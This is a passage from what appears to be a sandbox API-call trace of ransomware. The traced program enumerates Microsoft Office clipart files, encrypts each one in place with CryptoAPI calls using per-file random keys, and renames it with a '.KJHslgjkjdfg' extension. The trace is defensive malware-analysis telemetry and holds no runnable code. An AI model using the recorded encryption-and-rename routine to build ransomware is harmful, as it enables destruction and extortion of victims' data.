nNumberOfBytesToWrite=0x8f10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x8f10, lpOverlapped=0x0) returned 1 [0211.118] CryptDestroyKey (hKey=0x9b6628) returned 1 [0211.118] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x8fe4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.118] SetEndOfFile (hFile=0x130) returned 1 [0211.122] GetProcessHeap () returned 0x990000 [0211.122] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0211.122] GetProcessHeap () returned 0x990000 [0211.122] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0211.122] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00177_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00177_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00177_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00177_.wmf.kjhslgjkjdfg")) returned 1 [0211.124] CloseHandle (hObject=0x130) returned 1 [0211.124] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5a9f29b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x283c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00183_.WMF", cAlternateFileName="")) returned 1 [0211.124] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00183_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00183_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0211.125] GetProcessHeap () returned 0x990000 [0211.125] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0211.125] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0211.125] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0211.125] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0211.128] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0211.128] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0211.128] GetProcessHeap () returned 0x990000 [0211.128] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0211.128] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0211.128] CryptDestroyKey (hKey=0x9b6628) returned 1 [0211.128] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0211.128] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0211.129] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0211.129] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0211.129] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0211.129] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0211.129] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0211.129] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0211.129] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.129] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x283c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x283c, lpOverlapped=0x0) returned 1 [0211.130] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2840, dwBufLen=0x2840 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2840) returned 1 [0211.130] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.131] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2840, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2840, lpOverlapped=0x0) returned 1 [0211.131] CryptDestroyKey (hKey=0x9b6628) returned 1 [0211.131] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2914, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.131] SetEndOfFile (hFile=0x130) returned 1 [0211.134] GetProcessHeap () returned 0x990000 [0211.134] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0211.134] GetProcessHeap () returned 0x990000 [0211.134] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0211.134] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00183_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00183_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00183_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00183_.wmf.kjhslgjkjdfg")) returned 1 [0211.136] CloseHandle (hObject=0x130) returned 1 [0211.136] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22a0ad00, ftCreationTime.dwHighDateTime=0x1bd4aea, ftLastAccessTime.dwLowDateTime=0x5a9f29b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22a0ad00, ftLastWriteTime.dwHighDateTime=0x1bd4aea, nFileSizeHigh=0x0, nFileSizeLow=0x514c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00190_.WMF", cAlternateFileName="")) returned 1 [0211.137] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00190_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00190_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0211.138] GetProcessHeap () returned 0x990000 [0211.138] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0211.138] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0211.138] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0211.138] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0211.141] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0211.141] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0211.141] GetProcessHeap () returned 0x990000 [0211.141] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0211.141] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0211.141] CryptDestroyKey (hKey=0x9b6628) returned 1 [0211.141] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0211.141] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0211.141] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0211.141] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0211.141] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0211.141] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0211.142] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0211.142] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0211.142] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.142] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x514c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x514c, lpOverlapped=0x0) returned 1 [0211.143] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x5150, dwBufLen=0x5150 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x5150) returned 1 [0211.143] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.143] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x5150, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x5150, lpOverlapped=0x0) returned 1 [0211.143] CryptDestroyKey (hKey=0x9b6628) returned 1 [0211.143] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x5224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.143] SetEndOfFile (hFile=0x130) returned 1 [0211.146] GetProcessHeap () returned 0x990000 [0211.147] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0211.147] GetProcessHeap () returned 0x990000 [0211.147] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0211.147] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00190_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00190_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00190_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00190_.wmf.kjhslgjkjdfg")) returned 1 [0211.149] CloseHandle (hObject=0x130) returned 1 [0211.149] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5a9f29b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2090, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00191_.WMF", cAlternateFileName="")) returned 1 [0211.149] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00191_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0211.150] GetProcessHeap () returned 0x990000 [0211.150] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0211.150] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0211.150] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0211.150] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0211.151] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0211.151] GetProcessHeap () returned 0x990000 [0211.151] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0211.151] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0211.151] CryptDestroyKey (hKey=0x9b6628) returned 1 [0211.151] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0211.153] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0211.153] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0211.154] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0211.154] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0211.154] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0211.154] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0211.154] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0211.154] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.154] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2090, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x2090, lpOverlapped=0x0) returned 1 [0211.155] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2090, dwBufLen=0x2090 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2090) returned 1 [0211.155] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.156] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2090, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2090, lpOverlapped=0x0) returned 1 [0211.156] CryptDestroyKey (hKey=0x9b6628) returned 1 [0211.156] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2164, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.156] SetEndOfFile (hFile=0x130) returned 1 [0211.159] GetProcessHeap () returned 0x990000 [0211.159] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0211.159] GetProcessHeap () returned 0x990000 [0211.159] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0211.159] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00191_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00191_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00191_.wmf.kjhslgjkjdfg")) returned 1 [0211.161] CloseHandle (hObject=0x130) returned 1 [0211.161] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d30c390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x280c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00192_.WMF", cAlternateFileName="")) returned 1 [0211.161] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00192_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00192_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0211.162] GetProcessHeap () returned 0x990000 [0211.162] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0211.163] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0211.163] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0211.163] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0211.169] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0211.169] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0211.169] GetProcessHeap () returned 0x990000 [0211.169] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0211.169] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0211.169] CryptDestroyKey (hKey=0x9b6628) returned 1 [0211.169] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0211.170] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0211.170] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0211.170] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0211.170] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0211.170] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0211.170] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0211.170] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0211.170] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.170] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x280c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x280c, lpOverlapped=0x0) returned 1 [0211.171] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2810, dwBufLen=0x2810 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2810) returned 1 [0211.172] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.172] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2810, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2810, lpOverlapped=0x0) returned 1 [0211.172] CryptDestroyKey (hKey=0x9b6628) returned 1 [0211.172] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x28e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.172] SetEndOfFile (hFile=0x130) returned 1 [0211.175] GetProcessHeap () returned 0x990000 [0211.175] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0211.175] GetProcessHeap () returned 0x990000 [0211.175] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0211.175] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00192_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00192_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00192_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00192_.wmf.kjhslgjkjdfg")) returned 1 [0211.177] CloseHandle (hObject=0x130) returned 1 [0211.177] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f0d2600, ftCreationTime.dwHighDateTime=0x1bd4aea, ftLastAccessTime.dwLowDateTime=0x5a9f29b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1f0d2600, ftLastWriteTime.dwHighDateTime=0x1bd4aea, nFileSizeHigh=0x0, nFileSizeLow=0x27c0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00194_.WMF", cAlternateFileName="")) returned 1 [0211.177] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00194_.WMF" 